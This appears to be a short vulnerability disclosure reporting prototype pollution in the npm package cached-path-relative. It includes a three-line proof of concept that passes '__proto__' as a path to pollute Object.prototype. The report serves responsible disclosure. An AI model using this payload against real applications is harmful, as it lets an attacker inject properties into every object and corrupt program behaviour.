Prototype Pollution Vulnerability in cached-path-relative Package

I would like to report a prototype pollution attack in cached-path-relative. It allows an attacker to inject properties on Object.prototype which are then inherited by all the JS objects through the prototype chain.

var relative = require('cached-path-relative');
relative('__proto__', 'x');
console.log({}.x);